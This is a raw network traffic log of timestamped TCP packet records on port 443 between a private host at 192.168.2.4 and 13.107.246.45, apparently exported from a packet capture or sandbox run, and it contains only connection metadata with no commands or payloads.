Nov 18, 2024 17:24:30.144332886 CET	49986	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.144382954 CET	443	49986	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.144412041 CET	443	49986	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.147387981 CET	49991	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.147411108 CET	443	49991	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.147495031 CET	49991	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.147675037 CET	49991	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.147687912 CET	443	49991	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.204266071 CET	443	49987	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.235570908 CET	49987	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.235594988 CET	443	49987	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.236098051 CET	49987	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.236103058 CET	443	49987	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.299412012 CET	443	49988	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.299837112 CET	49988	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.299848080 CET	443	49988	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.300287008 CET	49988	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.300292969 CET	443	49988	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.314157009 CET	443	49990	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.314574957 CET	49990	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.314594030 CET	443	49990	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.315113068 CET	49990	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.315119982 CET	443	49990	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.320471048 CET	443	49989	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.320944071 CET	49989	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.320960045 CET	443	49989	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.321517944 CET	49989	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.321521997 CET	443	49989	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.362788916 CET	443	49987	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.362867117 CET	443	49987	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.362926960 CET	49987	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.363132954 CET	49987	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.363146067 CET	443	49987	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.363178968 CET	49987	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.363185883 CET	443	49987	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.366096973 CET	49992	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.366141081 CET	443	49992	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.366216898 CET	49992	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.366410971 CET	49992	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.366424084 CET	443	49992	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.431606054 CET	443	49988	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.431668043 CET	443	49988	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.431731939 CET	49988	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.432188988 CET	49988	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.432204962 CET	443	49988	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.432257891 CET	49988	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.432280064 CET	443	49988	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.436132908 CET	49993	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.436157942 CET	443	49993	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.436223984 CET	49993	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.436355114 CET	49993	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.436379910 CET	443	49993	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.448374033 CET	443	49990	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.448523998 CET	443	49990	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.448584080 CET	49990	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.450267076 CET	49990	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.450268030 CET	49990	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.450320005 CET	443	49990	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.450346947 CET	443	49990	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.453288078 CET	443	49989	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.453437090 CET	443	49989	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.453489065 CET	49989	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.460586071 CET	49989	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.460599899 CET	443	49989	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.460614920 CET	49989	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.460622072 CET	443	49989	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.462986946 CET	49994	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.463016987 CET	443	49994	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.463063002 CET	49994	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.464267015 CET	49994	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.464277029 CET	443	49994	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.464536905 CET	49995	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.464569092 CET	443	49995	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.464656115 CET	49995	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.464823008 CET	49995	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.464831114 CET	443	49995	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.916279078 CET	443	49991	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.916779041 CET	49991	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.916809082 CET	443	49991	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.917263031 CET	49991	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.917268038 CET	443	49991	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.049385071 CET	443	49991	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.049520016 CET	443	49991	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.049573898 CET	49991	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.049699068 CET	49991	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.049715042 CET	443	49991	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.049726963 CET	49991	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.049731970 CET	443	49991	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.052539110 CET	49996	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.052576065 CET	443	49996	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.052644968 CET	49996	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.052783012 CET	49996	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.052791119 CET	443	49996	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.113588095 CET	443	49992	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.114054918 CET	49992	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.114082098 CET	443	49992	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.114516020 CET	49992	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.114522934 CET	443	49992	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.196377993 CET	443	49993	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.196871996 CET	49993	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.196882963 CET	443	49993	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.197273016 CET	49993	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.197278976 CET	443	49993	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.203249931 CET	443	49995	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.203790903 CET	49995	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.203808069 CET	443	49995	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.204413891 CET	49995	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.204420090 CET	443	49995	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.207140923 CET	443	49994	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.207570076 CET	49994	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.207590103 CET	443	49994	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.208276987 CET	49994	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.208281994 CET	443	49994	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.249311924 CET	443	49992	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.249386072 CET	443	49992	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.249610901 CET	49992	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.249881029 CET	49992	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.249881029 CET	49992	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.249900103 CET	443	49992	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.249912024 CET	443	49992	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.252931118 CET	49997	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.252979040 CET	443	49997	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.253160954 CET	49997	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.253375053 CET	49997	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.253386974 CET	443	49997	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.328962088 CET	443	49993	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.329391956 CET	443	49993	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.329458952 CET	49993	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.329502106 CET	49993	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.329502106 CET	49993	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.329519033 CET	443	49993	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.329528093 CET	443	49993	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.331551075 CET	443	49995	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.332288027 CET	49998	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.332310915 CET	443	49998	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.332380056 CET	49998	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.332520008 CET	49998	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.332525015 CET	443	49998	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.333003044 CET	443	49995	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.333080053 CET	49995	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.333111048 CET	49995	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.333111048 CET	49995	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.333120108 CET	443	49995	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.333134890 CET	443	49995	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.335340977 CET	49999	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.335370064 CET	443	49999	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.335501909 CET	49999	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.335623980 CET	49999	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.335640907 CET	443	49999	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.352444887 CET	443	49994	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.352524996 CET	443	49994	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.352653980 CET	443	49994	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.352670908 CET	49994	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.352744102 CET	49994	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.352744102 CET	49994	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.352843046 CET	49994	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.352859020 CET	443	49994	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.355025053 CET	50000	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.355040073 CET	443	50000	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.355118990 CET	50000	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.355287075 CET	50000	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.355300903 CET	443	50000	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.830144882 CET	443	49996	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.834325075 CET	49996	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.834350109 CET	443	49996	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.834798098 CET	49996	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.834803104 CET	443	49996	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.964926004 CET	443	49996	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.965085030 CET	443	49996	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.965164900 CET	49996	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.965368032 CET	49996	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.965383053 CET	443	49996	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.965392113 CET	49996	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.965398073 CET	443	49996	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.967982054 CET	50001	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.968013048 CET	443	50001	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.968082905 CET	50001	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.968241930 CET	50001	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.968255043 CET	443	50001	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.983856916 CET	443	49997	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.984497070 CET	49997	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.984519005 CET	443	49997	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:31.985008001 CET	49997	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:31.985013962 CET	443	49997	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.080946922 CET	443	49998	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.081538916 CET	49998	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.081573963 CET	443	49998	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.081995964 CET	49998	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.082015038 CET	443	49998	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.105824947 CET	443	49999	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.106255054 CET	49999	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.106270075 CET	443	49999	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.106801987 CET	49999	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.106810093 CET	443	49999	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.112992048 CET	443	50000	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.113064051 CET	443	49997	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.113246918 CET	443	49997	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.114034891 CET	49997	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.118942022 CET	50000	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.118951082 CET	443	50000	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.119322062 CET	50000	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.119333029 CET	443	50000	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.119604111 CET	49997	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.119604111 CET	49997	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.119623899 CET	443	49997	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.119642973 CET	443	49997	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.122061014 CET	50002	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.122090101 CET	443	50002	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.122159004 CET	50002	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.122277975 CET	50002	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.122288942 CET	443	50002	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.212730885 CET	443	49998	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.212750912 CET	443	49998	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.212802887 CET	443	49998	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.212816954 CET	49998	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.212860107 CET	49998	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.213078976 CET	49998	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.213088989 CET	443	49998	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.213116884 CET	49998	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.213123083 CET	443	49998	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.215701103 CET	50003	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.215723991 CET	443	50003	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.215914011 CET	50003	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.216063976 CET	50003	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.216075897 CET	443	50003	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.244384050 CET	443	49999	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.244457006 CET	443	49999	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.244529009 CET	49999	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.244544029 CET	443	49999	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.244565964 CET	443	49999	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.244673967 CET	49999	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.244823933 CET	49999	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.244837999 CET	443	49999	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.244864941 CET	49999	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.244870901 CET	443	49999	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.247339964 CET	50004	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.247359037 CET	443	50004	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.247520924 CET	50004	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.247559071 CET	50004	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.247565031 CET	443	50004	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.249188900 CET	443	50000	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.249280930 CET	443	50000	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.249325037 CET	50000	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.249334097 CET	443	50000	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.249385118 CET	443	50000	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.249386072 CET	50000	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.249393940 CET	50000	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.249423981 CET	50000	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.249430895 CET	443	50000	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.249447107 CET	443	50000	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.252012968 CET	50005	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.252026081 CET	443	50005	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.252084017 CET	50005	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.252223969 CET	50005	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.252233982 CET	443	50005	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.709820986 CET	443	50001	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.710695028 CET	50001	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.710711002 CET	443	50001	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.711174965 CET	50001	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.711179972 CET	443	50001	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.842263937 CET	443	50001	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.842417002 CET	443	50002	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.842441082 CET	443	50001	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.842535019 CET	50001	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.842717886 CET	50001	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.842736959 CET	443	50001	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.842750072 CET	50001	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.842757940 CET	443	50001	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.842897892 CET	50002	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.842915058 CET	443	50002	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.843486071 CET	50002	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.843491077 CET	443	50002	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.845643997 CET	50006	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.845674992 CET	443	50006	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.845767021 CET	50006	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.845906019 CET	50006	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.845918894 CET	443	50006	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.963985920 CET	443	50003	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.964523077 CET	50003	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.964535952 CET	443	50003	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.964952946 CET	50003	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.964957952 CET	443	50003	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.975054979 CET	443	50004	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.976139069 CET	443	50002	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.976187944 CET	443	50002	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.976236105 CET	443	50002	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.976252079 CET	50002	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.976308107 CET	50002	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.976341963 CET	443	50005	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.979449987 CET	50004	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.979463100 CET	443	50004	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.979506016 CET	50002	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.979526997 CET	443	50002	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.979537964 CET	50002	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.979543924 CET	443	50002	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.980026007 CET	50004	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.980031967 CET	443	50004	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.980295897 CET	50005	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.980309963 CET	443	50005	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.980675936 CET	50005	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.980679989 CET	443	50005	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.982884884 CET	50007	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.982903004 CET	443	50007	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:32.982963085 CET	50007	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.983093977 CET	50007	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:32.983104944 CET	443	50007	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.099625111 CET	443	50003	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.099957943 CET	443	50003	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.100019932 CET	50003	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.100065947 CET	50003	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.100080013 CET	443	50003	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.100090027 CET	50003	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.100097895 CET	443	50003	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.102792025 CET	50008	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.102830887 CET	443	50008	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.102895021 CET	50008	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.103049994 CET	50008	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.103065014 CET	443	50008	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.103874922 CET	443	50005	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.103949070 CET	443	50005	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.104001999 CET	50005	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.104063034 CET	443	50005	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.104109049 CET	50005	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.104130030 CET	443	50005	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.104144096 CET	50005	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.104144096 CET	50005	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.104151011 CET	443	50005	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.104157925 CET	443	50005	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.106559992 CET	50009	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.106647015 CET	443	50009	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.106734037 CET	50009	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.106879950 CET	50009	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.106915951 CET	443	50009	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.107625008 CET	443	50004	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.107678890 CET	443	50004	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.107809067 CET	443	50004	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:33.107827902 CET	50004	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.107883930 CET	50004	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.108022928 CET	50004	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:33.108022928 CET	50004	443	192.168.2.4	13.107.246.45
